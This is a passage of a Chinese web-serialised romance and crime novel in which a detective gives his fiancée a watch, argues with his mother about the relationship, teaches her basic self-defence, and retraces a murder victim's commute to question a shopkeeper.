楚隽要是在她那个现代,没有百万的车肯定是不碰的。 更要命的是,还不止一辆。 “好了。”楚隽放软声音:“收下,好不好。这可是我送你的第一件礼物,要是被拒绝,我是要伤心的。” 硬汉卖萌,真是杀伤力巨大。 但是安暖感觉这表真的有点扎手。 销售小姐姐在一边说:“小姐,这表真的很衬您。要不,您就收下吧,这可是楚少一片心意啊。” 正说着,有人走了过来。 销售小姐一抬头:“翟少。” 翟少? 安暖一抬头,看见一张和楚隽一模一样的脸。 是翟琛。 虽然这兄弟俩长得像,但是她现在能分的清清楚楚,谁是谁,哪怕穿一模一样的衣服,她也能分得出来。 翟琛是一个人,走了过来。 “呦,你们也在啊。”翟琛看着安暖的手:“阿隽给小安买表呢?” 前几天在家宴上,安暖和翟琛不欢而散。 这一回再见,气氛也不太好。 第99章 你怎么那么会 “是。首发免费看书搜:小说虎 ”楚隽抬了抬安暖的手:“哥帮着一起看看,这块手表怎么样,好看吗?” 翟琛看了一眼。 “嗯,还不错,眼光挺好的。” “我也觉得好看。”楚隽说:“暖暖,真的好看,收下吧。” 翟琛走到了柜台边,看了看两人搭在一起的手。 “你们俩……真的在一起了?” 楚隽笑了:“哥,你这话说的。咱们俩是有婚约的,在一起不是理所应当吗?” 翟琛也笑了一声:“也是,确实理所应当。不过我没想到,你一贯有主意,在这件事情上,竟然这么听话。” “好话,当然要听。”楚隽说:“哥,你说我一个单身汉,突然从天上掉下来一个那么漂亮,性格又那么好的未婚妻,是你你不要吗?” 这和天上掉馅饼有什么区别? 不要是傻子。 “就是她不愿意收我的礼物,想让我送一个几十块钱的,然后等我回去,被爷爷打死。” 安暖十分无语。 她倒也没这么想过。 不过老爷子打人确实挺疼的,尤其是打孙子,特别疼。 翟家俩孙子,幸亏身体好。 “暖暖,咱们昨天晚上,是怎么说来着?” “怎么说?” “勇敢的人,享受世界。”楚隽说:“你应该勇敢一点,享受生活,享受我。” 销售小姐姐恨不得要笑出来,虽然忍了又忍,想尽了这半辈子的伤心事,还是勾起了唇角。 翟家两兄弟是这商场里的常客,稍微时间久一点的都认识他们。不夸张地说,就这商场里年轻貌美的销售小姐姐,想嫁的就不少。当然,还有知道嫁不了,哪怕嫁不了也不在意的。 楚隽来买东西,向来目标明确,直线进店,付钱走人。 销售小姐再好看,再搭讪,也从不搭理。 这还是第一次,嘴这么甜。 果然啊,销售小姐姐心想,这人只要开始谈恋爱,就会说甜言蜜语了。 话都说到了这份上,安暖觉得再不收,就有点不好了。 对楚隽来说,大概真的是因为,这是第一件礼物,所以想要慎重一点吧。 她是不会质疑楚隽的人品的。 如果换一个人,她都要怀疑,楚隽是不是别有用心,故意把她推到风口浪尖。 但当一个人的人品没有问题的时候,他做的一切事情,都可以往好的方向理解。 男女朋友的好意,就是喜欢。 “好,那我收下了,谢谢。”安暖戴上手表:“很好看,我很喜欢。” “喜欢就好。”楚隽说:“就他了,不用包了,直接戴着。” 销售小姐姐露出今天晚上最灿烂的微笑。 楚隽像是付两块钱一样,付了两万块钱。 安暖确实很喜欢这手表,本来是不想收的,现在既然收了,那就大大方方的。 她看来看去,点头赞许。 “喜欢,好看。果然,一分价钱一分货,贵的东西不一定好,但好的东西一定贵。” 除非黑市捡漏的,要不然,便宜少有好货。 “我也觉得好看。”楚隽说:“走,吃饭去。哥,要跟我们一起去吃饭吗?” “可算了,我是那么没眼力劲儿的人吗?”翟琛赶紧摆手:“你们赶紧去吧,我可不要去做电灯泡。” 跟他们一起去,那不是去吃饭的,是去吃狗粮的。 楚隽本来也只是跟他客气一下,当下便带着安暖走了。 “今天有点晚,先随便吃一顿。”楚隽说:“等这案子结束,有时间了,带你去吃点好的。” 安暖叹了一口气。 “怎么了?” “由浅入奢易,由奢入浅难。”安暖说:“糖衣炮弹的威力太大,你说你这么弄,万一咱们俩没成,我以后肯定要孤独终老,我还能看上谁啊?” 一旦心理有了标准,这个标准就很难降下去。 “哼哼,那就别看。”楚隽搂着安暖进了饭店:“就看我,我好看。” 楚隽带安暖去的,也是常去的一家饭店。 进了店,找了位置,给她拉开椅子。 安暖撑着下巴看他。 “楚隽,你真的没谈过恋爱吗?” “没有啊。”楚隽很坦然:“怎么了?” “怎么感觉你那么会呢?像是个情场老手。” 服务生送上菜单,楚隽点了几个菜。 都是符合安暖口味的。 这些日子,家里家外的,他们没少在一起吃饭,倒是记得周全。 “没吃过猪肉,还没见过猪跑吗?”楚隽一本正经道:“谈恋爱吗?刑警队里总是有人谈过的,谈的好谈的不好,求婚还是被甩,有时候,大家也会帮着复盘一下,这不就会了。” 安暖给他一个大拇指。 你是行的。 明天还有一天要忙,这顿饭也没吃太晚,总结起来,就是 一顿贵贵的工作餐。 吃完饭,回家。 到家的时候已经十点了,老爷子早就休息了,楚母还没睡,正在客厅里打电话。 听见汽车的声音,楚母起身抬头看了一下。 就看见楚隽下了车,安暖也下了车。 但两个人和从前不一样。 之前,两个人一起下班,下了车,就一前一后的往屋子里走。 但是这一次,驾驶室的楚隽先下了车,等了一下,等副驾驶的安暖也下车,走了过来,到了身边,然后他非常自然的接过安暖手里的包,一起往屋子里走。 路过花园的时候,楚隽又拽了一朵命苦的玫瑰花。 “你只喜欢白玫瑰吗?”楚隽说:“我觉得红色也挺好看的。” “都好看,各有各的好看。”安暖接了花,两人一起进了门。 今天挺热,安暖就穿了一件短袖衬衫,手腕上的表十分明显。 她身上一直是没有什么装饰品的,可以说是清汤寡水,耳环项链手镯什么都没有,突然多了点东西,就格外惹眼。 楚母一眼就看出来,这是块安暖自己绝对买不起的表。 “我有事先不说了?”楚母对电话里匆匆说了几句,就挂了电话。 “妈,您还没睡呢。” “阿姨。” 安暖也叫了一声。 楚母的心情顿时非常复杂。 “小安,你早点休息。”楚母说:“阿隽,你等一下,我有话要跟你说。” 第100章 棒打鸳鸯 安暖上了楼,楚隽坐到楚母身边去。首发免费看书搜:狐恋文学 “妈,怎么了?” “你跟安暖,怎么回事?”楚母开门见山:“她手上的表,你送的?” “是,好看吧。”楚隽还挺得意。 “挺贵的吧?” “还行,不到两万。” “好大的口气,不到两万。”楚母冷笑一声:“你们俩,这是真好上了?” 楚隽坦然道:“妈,什么叫我们俩真好上了,她本来不就是为的未婚妻吗?我俩不好,谁好呀?” “是,她是你未婚妻,可她不是来退婚的吗?我以为你对她也只是顾及爷爷的面子。”楚母恨铁不成钢:“可是我没想到,这才多久,半个月不到,你就假戏真做了?” “什么叫假戏真做呀,我们本来就是真的。”楚隽不满意了:“妈,暖暖刚来的时候,我们是要退婚的,那不是爷爷不让吗?你当时也没有强硬表态反对啊。” 楚母一阵堵。 老爷子强硬表态了,谁还敢强硬反对? 一家子人,难道让她去做恶人吗? “我和暖暖,我们这不就像爷爷说的那样,相处试试。我们俩同进同出,天天在一起,时间久了产生感情,这不是很正常吗?妈,您在介意什么?” 楚母有苦说不出。 儿子真是坦荡荡。 楚母整理了一下思绪。 “其实安暖这姑娘,我之前觉得是不错的。”楚母说:“她在乡下长大,也没接受过什么教育,但是言行举止一点儿不招人烦,大场面也撑得住,实在是不错。对咱们家的条件啊,那些钱啊好东西,也并没有那么贪婪,举止都很得体,可是你今天给她送那么好的表,她就收了?” “开始不愿意,我说了半天才收的。” “欲拒还迎?” 楚隽正在喝水,差一点呛了。 “妈,你这说的是什么?什么欲拒还迎?你少看点言情小说吧。” “难道不是?”楚母不满意道:“你们俩在一起多久了?我是指,认真在一起。” 楚隽伸出一只手指。 “一天?”楚母也不知道是高兴,还是不高兴。 “是啊,昨天晚上……”楚隽看了看时间:“三点十分,我正式表白成功。” 楚母:“……” “我好歹也是堂堂楚少,送女朋友的第一件礼物,难道能去路边摊买个几十块钱的吗?回来爷爷揍我,妈您挡我面前吗?” 楚母在这儿子面前,真是占不了一点上风。 “你送当然没问题……”楚母还要垂死挣扎一下:“但是……她收,难道没问题吗?” “妈,按这说法我就不赞同了。”楚隽说:“如果我没送,她开口要,您还能说她爱慕虚荣。可如果我主动送,她要了,您怎么能觉得她爱慕虚荣?” “难道不是?” “当然不是。我送礼物就是希望她接受,难不成我送礼物是让她拒绝吗?按您这么说,这恋爱没法谈了。” 楚母虽然心里想的是,没法谈就不谈,但是也不好说出来。 楚隽道:“谈恋爱肯定要送礼吧,她收是爱慕虚荣,不收是欲拒还迎。我呢,不送是小气没情趣,送,是给她扣一个爱慕虚荣的帽子。我送不送都不对,她收不收都不行。妈,您说这是不是不讲道理了?” 楚母眼睛挺大的,瞪着楚隽。 觉得自己这小儿子,是把在警局里审问犯人的那一套都用在了自己身上。 “妈。”楚隽握住楚母的手:“您一向是个开明的,不会想要棒打鸳鸯,包办婚姻吧。” 楚家确实一向开明。 楚母虽然给楚隽安排过相亲局,但只是撮合牵线,并没有强制过他,要找一个什么样的对象,家世必须怎么样,学历必须怎么样,等等等等。 所以楚隽在这方面没有什么心里负担,觉得只要喜欢就好,其他都不是事儿。 万万没料到,事到临头,楚母还是纠结了。 “我也不是这个意思。”楚母十分郁闷:“但我这心里吧,确实不对劲。不过爷爷肯定高兴,哎……这事情……算了,你先谈着吧。说不定谈着谈着,你就被甩了。” 这下轮到楚隽心梗了。 也不知道自己是不是亲生的。 安暖没想那么多,回房间看了一会儿书,就休息了。 她有心理准备,知道这段感情肯定有阻挠,反倒是可以荣辱不惊。 第二天早上,楚隽准时敲响了安暖的房门。 “跑步去。” 自从安暖说了要学点功夫防身,只要在家,楚隽就雷打不动来喊人。 安暖苦不堪言,但是一点办法都没有。谁让她早就对楚隽说过呢,自己怕累怕苦,十有八九会哭,让楚隽心狠一点,哭也别理她。 不过这一次,有一点点不一样。 常规的热身之后,楚隽会教安暖一些擒拿格斗的技术。 打架这种事情,有两种路线。 一个是力量,一个是技巧。 安暖就算是再锻炼,也不可能是力量型的,遇见什么突发事故,还是要靠技巧取胜,力量只能辅助。 所以这些天,热身锻炼之后,楚隽都会教她一些技巧性的动作。 比如被人从背后勒住脖子,要如何反击脱身。比如攻击敌人的时候,如何一击致命。 擒拿格斗的教授,难免有一定程度的肢体接触。 在今天之前,他们都很坦然。楚隽会注意,但是不会刻意避开。 今天,他本来也是这么想的。 但是好像不一样了。 楚隽说:“先复习一下上次的动作,好几天没练了,还记得吗?” “记得记得。” “好,那我们练习一遍,遇到歹徒,非常容易碰见的一个状态,就是被人突然从背后勒住脖子。” “嗯。” 楚隽走到安暖身后,从后面伸手绕过她的脖子。 “来吧,想想我是怎么跟你说的?” “嗯……”安暖扶着楚隽的胳膊:“我想想,先双手抓住对方的胳膊,然后利用身体重心往下坠……” “对,继续。” “左脚后撤,绕至对方右后侧,为脖颈处制造空隙。” 安暖的动作还是比较生疏的,毕竟动手不是她的弱项。 但是背这些条条款款是她的强项,只要楚隽说过一遍的步骤,她肯定记得。只是身体跟不上脑子的节奏罢了。 第101章 心猿意马 “对,这些步骤都对,下一步。首发免费看书搜:当看书 ” “下一步……” 安暖一边挣脱,同时往后踢。 根据凶手的性别,攻击的方向也不一样。 人有一些击打重点,最柔弱的地方,比如眼睛,咽喉,太阳穴。 可以用人体身上最坚硬的部分,比如手肘,膝盖,去攻击这些地方。 但是当歹徒在你身后的时候,这些地方都不好下手。 还有一个男女皆宜的地方,踢裆。 这是人天生的软肋,未必致命,但一定痛不欲生。除非对方练了金钟罩铁布衫,不然的话,只要一击到位,一定能够让对方在短时间内失去行动能力。 安暖向来做事果断,只挑最有用处的办法。 说踢裆就踢裆,安暖低头往后瞄了一眼,突然用手肘往后击打,撞向楚隽的肚子。 肚子,也是很柔软的。 楚隽微微一侧就躲开锋芒。 没有完全躲开的地方,就硬受着了,反正安暖那点力气对他来说不算什么。 他只有两只手,一只还勒着安暖的脖子,剩下一只手,有更有用处的地方。 因为他知道安暖一定有后招。 如果对方真是要挟持的人,那他肯定不是只轻轻的绕过她的脖子,一定会用力。只要一用力,安暖就会窒息,身上就会脱力,所有的反抗自然也就打了折扣。 但现在不一样,所以安暖的第二招,才是杀招。 果然,安暖根本没有考虑这一击是不是能得逞,在手肘往后击打的同时,侧身用膝盖往后顶去。 被楚隽接住了。 这一下要是顶实在了,就算是楚隽也受不了。 再强悍的男人,弱点也依然还是弱点啊。 “怎么样怎么样?”安暖迫不及待道:“我这一招是不是可以了,学得还行吧。” “可以,不错。”楚隽放开手,随手按了按肚子。 关键部位保住了,肚子可是实打实的被打了一下,虽然楚隽不在乎,也还是觉得有点痛。 安暖回头一看,有点慌了。 “怎么样怎么样,是刚才被我打到了吗?” “没事儿。”楚隽不在意:“你这一点力气算什么,不痛不痒的。” “不痛不痒你揉什么。”安暖不放心:“我给你揉揉……要是痛的话,我陪你去医院看看。” “真的没事儿。”楚隽拦不住安暖,就随她将手放在小腹上给他揉一揉。 “动作掌握的很好,但有一点非常关键,就是一定要心狠手辣。在危险时候,你可能只有一次机会,这一次机会转瞬即逝,如果你的这一次攻击不痛不痒,不能让对方直接丧失行动能力,那可能会让自己陷入更危险的境地。” “我懂,我懂。” 安暖一边按着,一边心猿意马。 楚隽的身材是真不错啊,不愧是每天早上都要练一练的人。 搁着薄薄的一层布料,能感觉到衣服下的肌肉。 之前不是没看过,但上手,还是第一次。 安暖有点走神了。 楚隽叮嘱完,低头一看。 安暖虽然号称给自己揉揉肚子,但是这揉的幅度和范围,有点太大了。 “你干什么呢?”楚隽咳了一声,声音有些低沉:“暖暖,你这是趁机占我便宜吗?” 安暖的眼神忽闪忽闪的往下飘。 也不知道是刚才运动的原因,还是什么原因,脸也有点红。 “没有。”安暖立刻撒开手,飞快地说:“我是好心,好心当成驴肝肺,我不干了。” 然后安暖就跑了。 跑的飞快。 楚隽也没有立刻跟上去,而是一动不动僵硬的在原地站了一会儿,才跟着回了屋子。 难怪恋爱这种事情,有这么多人喜欢谈,叫人脸红心慌,齁甜齁甜的。 安暖捂着脸回了房间,洗澡换衣服,下楼吃饭。 翟家几个人,作息时间都不太一样,所以早饭各自吃,不太能凑一桌子一起。 以前翟老爷子早上吃饭,只有保姆王姨陪着一起。 最近还好一点,楚隽和安暖起的也早,要是没有出差或者特别的事情,锻炼完了,洗完澡,下楼吃饭,正好能碰上老爷子也在吃饭。 翟老爷子很高兴,他这个年纪,就想能有人多陪陪,奈何一家人都忙,也是无奈。 “爷爷,早上好。”安暖换了一身清爽的衣服,高高兴兴的在餐桌边坐下。 “早上好。” 王姨一看,忙起身张罗。 “今天有鸡丝面。”王姨说:“小安来一碗吗?” “好,谢谢王姨。” 安暖伸手接碗。 翟老爷子抬头一看:“呦,小安你戴的这个手表怪好看的呀,以前没见你戴过。” 老爷子年纪虽然大了,眼神还是可以的。 “是阿隽昨天给我买的。” 安暖把手表 凑过去,给老爷子好好的看一看。 翟老爷子欣赏了一下。 “嗯,不错,不错,看这不错。”翟老爷子挺满意:“阿隽的眼光还是好的,他挑的东西应该不错。” 王姨也欣赏了一下。 “这个表好看,这是个什么牌子啊……我说不上来的,但是我见少爷戴过,应该挺贵的吧。” “挺贵的。”安暖也不含糊:“快两万呢。” 王姨作为一个正常的工薪阶层,对这么贵的手表发出安暖一样的感慨。 但翟老爷子的反应就很真实了,和楚隽想的一样。 “嗯,还行,这件事情这小子做的还是不错的,要是他给你送差的,我打断他的腿。” 幸亏昨天安暖没有坚持让楚隽买一块二十块钱的戴上。 说着话,楚隽从楼上下来了。 “爷爷在夸我呢?”楚隽挺自信:“夸我什么?” “夸你眼光好。”翟老爷子今天觉得孙子做的事情合心意,对孙子态度不错:“总算看你给暖暖买东西了,那么大个男人,对自己未婚妻那么小气,这么多天了,也没见暖暖脖子上手上多点什么东西。” “是,是我这段时间忙,疏漏了。”楚隽说:“以后我一定常给暖暖送礼。” “这还差不多。”翟老爷子满意了。 他左看看,右看看,觉得这两个人今天的状态跟之前比起来,要亲密一些。 不错。 老爷子今天多吃了半碗饭。 两人走后,翟老爷子得意的跟王姨说:“你看,我说的没错吧。暖暖是个好姑娘,她跟阿隽相处久了,就一定会感情越好越好的。” 第102章 偷着不如偷不着 王姨能留在翟家,最大的优点就是能哄老爷子开心,会审时度势,情绪价值提供得满满的。首发免费看书搜:有书楼 当下,她就从各个角度分析夸奖了一通,总结下来。 楚隽和安暖,真是天生一对。 十天恩恩爱爱,不用半年就能结婚,明年这个时候,说不定就能让老爷子抱上重孙子。 翟老爷子听得心花怒放,觉得自己还能再活二十年,看着重孙子上大学。 安暖和楚隽去了警局,今天的任务,就是去查盛寻雪那个没人见过的神秘男朋友,这个人,很可能就是凶手。 方向虽然有了,但也没那么容易。 在如今的社会,一个人想要完全隐藏自己,这是很难的。 除非躲在深山老林里,要不然的话,人要衣食住行,就必然会和外界有接触。盛寻雪谈恋爱,就算不和亲戚朋友介绍,总不能和男朋友一直处在真空里吧。 偷情,也要去偷情的地方。 而且偷情,除了盛寻雪和男方之外,还有至少第三方的存在。 这个第三方一般是男方的妻子。 一段感情之所以不能光明正大公布于众,是因为有阻挠。 这个阻挠,可能是自己父母不同意,对方父母不同意,身份相差悬殊,对方非单身,总之他们要找的这个人,不一般。 需要瞒得滴水不漏,十有八九,是婚外情。 楚隽很抱歉,但这一次要查的,确实是所有和盛寻雪有接触的,看起来不可能的人。 先从盛寻雪所在单位的领导,同事,客户开始查。 从已婚的开始查。 这真是很抱歉,但他们确实是最大的嫌疑人。 一上午的时间,安暖跟着楚隽见了几十个嫌疑人。 虽然没有找到疑似和盛寻雪有勾搭的秘密情人,倒是诈出两个真正有婚外情的。 一个是盛寻雪单位的领导,一个是他们公司的一个客户。 他们也不知道发生了什么事情,还以为自己出轨的事情东窗事发,被问了几句,哆哆嗦嗦的就说了,说完之后,悔不当初。 刑警队是不会插手和案件无关的感情道德纷争的,但是他们的老婆孩子会。有工作单位的,作风问题也是个大问题。就算是私人企业,不至于那么严格,但也有许多影响。 从厂里出来的时候,跟着来的卢瑞泽十分唏嘘。 “看着那么严肃正经的一个领导,怎么能有作风问题呢?”卢瑞泽毕竟年轻了点,没结婚没谈恋爱,对感情和家庭生活这种事情,还有些单纯:“这下好了,老婆离婚,孩子翻脸,工作就算能保住,也难升职了,到底有什么想不开要出轨偷人?” 卢瑞泽说着,随便看了一眼楚隽。 楚隽被看得心里发毛。 “你感慨就感慨,看我干什么?” 卢瑞泽也不知道自己为什么要看楚隽,大概是说起严肃正经的领导,自然就对号入座上了。 被楚隽怼了一句,卢瑞泽讪讪道:“这不是想看看领导接下来有什么指示吗?” 别以为我不知道你在想什么,楚隽冷笑一声:“领导指示你自己走回去?” “别别。”卢瑞泽一把拽开汽车后门,窜了进去。 然后啪的一声落下了锁,生怕楚隽给他丢出去。 楚隽和安暖也上了车。 上了车,卢瑞泽还是想讨论一下。 “小安,你觉得呢,为什么这些日子过得好好的人,非要出个轨呢?” “因为刺激呀。”安暖倒是很淡然:“你难道没听过吗,妻不如妾,妾不如偷,偷着不如偷不着。” “他们不怕被发现吗?” “做坏事的人,都是有侥幸心理的,觉得自己不会被发现。一件坏事,被发现才有付出,不被发现,那不是只有获利吗?” “说的也是。”卢瑞泽想了想:“真是太不应该了,以后我要是结婚了,肯定不能干这事情。” 小伙子还是不错的。 两人只是随便聊聊,楚隽突然道:“暖暖。” “嗯?” “你放心。” “什么?” “我在感情和婚姻里,会绝对忠诚。” “哈哈。”卢瑞泽尴尬地转过头去。 果然不该跟小两口一起出来,那么严肃的楚队,也会随口说情话了。这是他这个单身狗电灯泡能听的话吗? “我知道。”安暖应了一声:“我也是。” 感情可以变化,不可以隐瞒。 谁也不敢说,一辈子那么长,会不会厌烦。但无论开始还是结束,都应该坦荡真诚。 除了盛寻雪的单位和客户,还有就是她常去的地方。 比如常去的小吃店,服装店,上下班的公交站台。 当一个人有一个不可告人的秘密,这秘密必须瞒着亲近的人,却未必会瞒着陌生人。 人心里压着的事情,压得越久,越是想要说出来。 熟人不可说 ,陌生人反而安全。 这就是为什么大家敢在网上畅所欲言的原因,隔着网线,谁也不知道对方是人是狗,总觉得不必为自己所说的话负责。 从盛寻雪的家,到工作的地方,这是一条固定的线路。 上班的每一天,盛寻雪准点从家里出发,先步行,然后做公交车,然后再步行,到达单位。 楚隽本来打算开车走一遍这条路线。 看看这一路,盛寻雪会遇见什么。 问一问这一路的店铺,摊位,有没有见过盛寻雪的人。 但是楚隽上车之后想了想,说:“开车看不见什么,要不然,我们也跟着盛寻雪的路线走一遍。” 开车就算是再慢,也是走马观花。 总不能看见一个店铺,车就停一下吧? “楚队说得对。”卢瑞泽说:“那我来走吧,你们开车。” “你一个人不行。”楚隽说:“这样,暖暖你开车先走,在前面等我们,我和卢瑞泽走回去。” 就算中间可以坐一趟公交,这一趟单程也要三个小时。 安暖虽然被认可参加这一次的侦查行动,但毕竟是编外人员,有什么正经的事情,肯定还是以刑警队的人为主。 在正经的事情上,楚隽的安排大家都认可。 “好。”安暖说:“我开一段路,就等一等你们。” 第103章 不舒服的日子 说定之后,卢瑞泽和楚隽就下了车,安暖开着车,先往前开去。首发免费看书搜:看书屋 卢瑞泽看着安暖将车开走,丝滑顺畅消失在视线中,不由的感慨道:“楚队,你说小安怎么车技这么好啊,她来京市的时间不长吧?总共才碰过几回车啊,感觉技术比我还好,刚才挂档转方向盘,就跟二十年老司机一样。” 这疑问楚隽也曾经有过。 经过各种猜测之后,只得出天赋异禀这一个结论。 “她聪明。”楚隽说:“一学就会,一会就精。你羡慕不来。” 卢瑞泽一脸羡慕。 “确实是,你知道周叔眼光可高可高了,我都听他夸了好多回了,队长,你真是捡到宝了。” 楚隽哈哈一笑。 谁说不是呢? 说不定有人觉得,安暖配自己,是高攀不起的存在。但他一直觉得,安暖是一块璞玉,稍加雕琢,就能灿烂生辉。 安暖开出十分钟后,就将车在路边的公交站台停了下来。 这个年代通讯非常不方便,她要是一口气把车开到目的地等,万一中途楚隽有什么发现,找她都不好找。 把这条路分成无数个节点,在每一个节点等待,就当做是补给站,这样无论有什么事情都可以快速反应。 安暖也不能浪费时间,下了车之后,就进了公交站台边上的小店。 这是个小卖部。 里面卖一些杂七杂八的日用品,零食,点心,夏天还有冰棍之类的。 安暖进去转了一圈,买了点零食,就和老板攀谈了起来。 她随身带了一张盛寻雪的照片,这个时候就派上了用场。 安暖掏出照片。 “老板,你看看,你认识这个人吗?” 安暖买了不少东西,这会儿店里又没有别的人,于是也愿意跟她闲聊。 “我看看啊。”老板看了半天:“好像有点眼熟。” 安暖心里一喜。 “您仔细想想,这个女人每天应该都在这个地方做公交车,在等车的时候,她是不是有进来买过东西?” 开店当老板的人,很多记性和眼神都是很好的。 别看店里每天进进出出那么多人,有些只要去过一趟,最多去过几趟,他们都能记住。厉害的,还能记得清清楚楚,大概是什么时候来的,买了什么东西,等下次顾客再进店的时候,就能用一副老熟人的语气跟人家说话。 “有,这个女人确实在我店里买过东西。”老板说:“不过买得不多,偶尔吧。” “买过什么。” “就是一些吃的,还有日用品什么的,我们这里就卖这些。我记不清她具体买的是什么了,大概……” 老板想了半天,大概得点了几样。 “这样。”安暖说:“老板你仔细想想,把她买过的东西,给我也一样来一份。” 利益有利于老板的回忆。 “好嘞。”老板开心地应了医生,开始拿货。 安暖心里暗暗地想,这些东西,一会儿要去找楚隽报销。 她身上的钱,还是翟老爷子给的,得省着点花。 平时吃楚隽的,用楚隽的那也就罢了,总不能再找他要钱吧。而她现在这情况,拿到工资还不知道是什么时候的事情。 每每想到这个问题,安暖就觉得挺头疼的。 趁老板找货的时候,安暖分心想了一下,真的要去赚点钱了,实在不行的话,不如去炒个股什么的,投一点小钱,赚一点小钱。 上辈子,她也看了不少重生年代文,里面的主角大部分翻云覆雨,如鱼得水,赚得盆满钵满。 但真到了自己身上,才发现是件很不容易的事情。 无论任何一个行业,都不好弄啊。 她又不能花费大量的精力和时间,怎么赚钱? 炒股,至少不用花太多时间,而且,她从四十年后来,相信自己可以大概的预测出一些重点股票。 不指望赚大钱,赚点小钱还是可以的。 正想着呢,老板已经将他能记住的盛寻雪买过的东西给装了一包。 安暖大概翻了一下。 果然都是些寻常的日用品和零食,没有什么特别。 接了东西,安暖付了钱。 “老板,你想想,这盛寻雪,还有什么特别的事情不?” “特别的事情,我想想。”老板特别喜欢安暖这种,虽然是来问事情的,但是买东西特别爽快的人,也愿意多费费脑子。 想着,老板走到了门口,看着公交站台。 他这个店之所以生意比别的店好,就是因为离公交站台特别近,等车的人多,等的时候,自然就会买点这个,买点那个。 老板没事儿的时候,也会从店里出来,捧着大茶杯,跟等车的人聊天。 一个人守店是很无聊的事情,老板也愿意跟人聊天。 “哎,想起来一件,也不知道算不算特别。” “你说,什么事情都可以,只 要是和她相关的都行。” 老板说:“我记得……大概一个月前,我在店门口跟人聊天,看见这个姑娘。那天,她好像身体不舒服,下车的时候差一点摔了一跤。然后在路边坐了好一会儿,这才往回走。” 老板也不可能记得住店门口发生的每一件事情。 之所以记住了这一件,是因为盛寻雪差一点摔了一跤之后,边上有人看见了,就上去关心她。 这个年代的人还是很淳朴的,在路上看见有人摔跤受伤,不会坐视不理,肯定要上去看看有什么需要帮忙的。 老板本来也要上去帮忙的,但是盛寻雪说自己没事儿,只是有点累休息了一下,众人就放心地散开了。 安暖立刻道:“老板,你仔细地想一想,具体是哪一天,具体是什么时间。她从哪一辆车上下来?” 每一个和凶手,嫌疑人,受害者有关的消息,可能都会给案件带来重大的转折。 老板拿出日历一阵比划。 “是个周三,下午……下午三点左右吧,具体时间我也不确定,只能是大概时间。” 盛寻雪上下班的时间和别人有些不一样。 她上班的时间是固定的,但是下班的时间不固定。因为要去跑客户。 早上在公司打卡之后,就去跑客户,然后可能早点,可能晚点,看具体工作情况而定。 安暖记下了时间,打算找电话给盛寻雪的厂里打过去,问一下情况。 在这一天,厂里是否有什么特殊情况。 第104章 消失的日用品 在他们目前的询问中,盛寻雪是个身体健康,精力旺盛,有冒险精神的人。要不然的话,也不会干销售这一行。 一个长得挺漂亮的年轻小姑娘干销售,这是优势,也是劣势。 如今市场上做生意的人,生意做得大的人,大部分还是男人。盛寻雪和这些人打交道,难免会要陪吃陪酒陪笑,会被占点便宜。 至于占多少便宜,就看她如何周旋,如何挑选了。总之这钱赚得不容易,心理也要强大。 一个身体一直都好的人,突然出了问题。 这就必须要查一查,是什么原因。 这个原因,是否和神秘情人有关。 安暖和小店老板聊了好一会儿,看见楚隽和卢瑞泽过来了。 三人碰头。 他们倒没有什么发现,但都觉得安暖这个发现很有价值。 楚隽又进店去和店老板聊了一会儿,便就近去打电话。 一个电话打去了盛寻雪的工厂,问了一番。 挂了电话,安暖忙问:“怎么说?” “厂里的人肯定的说,盛寻雪的身体一直不错,精力充沛。但这段时间,确实偶尔有精神不济的时候。她在公交站不舒服的那一天,盛寻雪是正常上班的。上班的时候,并未觉得她精神有什么不济。从考勤表上看,在厂里签到之后就离开了。” “知道她去了哪里吗?” “很遗憾,不知道。盛寻雪一个月大半个月都在外面拉业务,签到就出门是很正常的事情,所以大家没觉得有什么不妥。第二天又是周末,休息了两天。第三天是周一,盛寻雪正常上班,也没有什么异样。” 所以这一天,从离开工厂到走上回家的路,这五六个小时,没有人知道她去了哪里。 楚隽说:“再去找一趟盛寻雪父母,让他们也回忆一下,这一天女儿回去,有没有什么异样。” 卢瑞泽应着:“楚队,要不要再去周边的诊所医院看一看。如果盛寻雪身体不舒服,可能会去看病。” “可以,是个方向。” 有了新的线索和方向,这一趟就没有白跑。 楚隽又打电话回警局,让人过来。 多了目标,可就不是他们几个人可以快速调查完的。 不要浪费时间。 重走盛寻雪的下班路,比他们预计的花费了更多时间,下午三点半,这才到了最终的目的地。 盛寻雪的家。 正好要去她家里,再问问她父母一个月前,她不舒服那一天的情况。 本来这个时间,盛寻雪父母是不在家的,但家里出了这么大的事情,家里正在办丧事,因此都在家。 盛家门口挂着白布,放着花圈,搭着灵堂。 车在门口停下,三人走了进去。 盛寻雪父母就坐在灵堂里。 短短两天,两个人像是老了十岁。虽然还没到老年,但这个年纪也算是白发人送黑发人了,他们很难再有一个孩子,剩下的人生,可能都要在伤心中度过。 看见楚隽进来,两人连忙站了起来。 “楚队长。”盛父连忙迎了过来:“是不是抓到凶手了?” 楚隽很不喜欢这样的场景。 他不喜欢看嫌疑人家属一次又一次的希望,失望。在次数多了之后,变成绝望。 但是没办法,这些事情,总有人要做。 “还没有。”楚隽道:“不过想要问一些事情。” 盛父盛母将楚隽几人迎进房间里。 “楚队长,您想问什么,您说。” 楚隽拿出随身携带的笔记本,指着上面的日期。 “你们看看这个日期。”楚隽说:“一个月之前的一个周三,这一天,盛寻雪是什么时候回家的,是否有什么不对劲的地方?” 盛家夫妻俩都陷入了沉思。 一个普通人,能记住今天做了什么,昨天做了什么,前天做了什么。有大事的节点,还能往前记一记。 如果只是普普通通的一天,没有什么大事发生,回忆一个月之前的一天,是非常困难的。 盛寻雪父母显然不是过目不忘的天才,让他们回忆一个月前的周三,太困难了。 两人回忆了一下,又商量了一下,但是没商量出什么所以然来。 “实在想不出有什么特别的。”盛父说:“那一天好像没发生什么不一样的事情,就算你们说,阿雪那天身体不舒服,我也实在是想不起来了。我印象中,她这段时间身体没有不舒服啊。偶尔有些累的样子吧,但是她这个工作确实是很辛苦,这孩子,就是倔。” 想不出来,也算是一个答案吧。 那就是那一天确实什么特殊的事情都没有发生。 盛寻雪没有夜不归宿,没有行为诡异,没有不舒服,至少没有在父母面前表现出不舒服。也就是说,这种不舒服是可控的。 第二天早上,盛寻雪还在正常的时间里出去上班了。 说着话呢,安暖突然想起什么,说:“我想在盛寻雪房间,和你们家其他地方看看 。” 盛寻雪父母点了点头。 警察其实已经来看过一遍了,没有什么发现。但要看第二遍就让他们看吧。 两人这一点还是很明白的,知道楚隽他们现在加班熬夜的,都是在给自己女儿找真相找凶手,要是他们再不配合,就不应该了。 安暖转了一圈,然后去车上拿出了刚才在公交站牌边的小卖部里买的,老板回忆起来的,盛寻雪买过的东西。 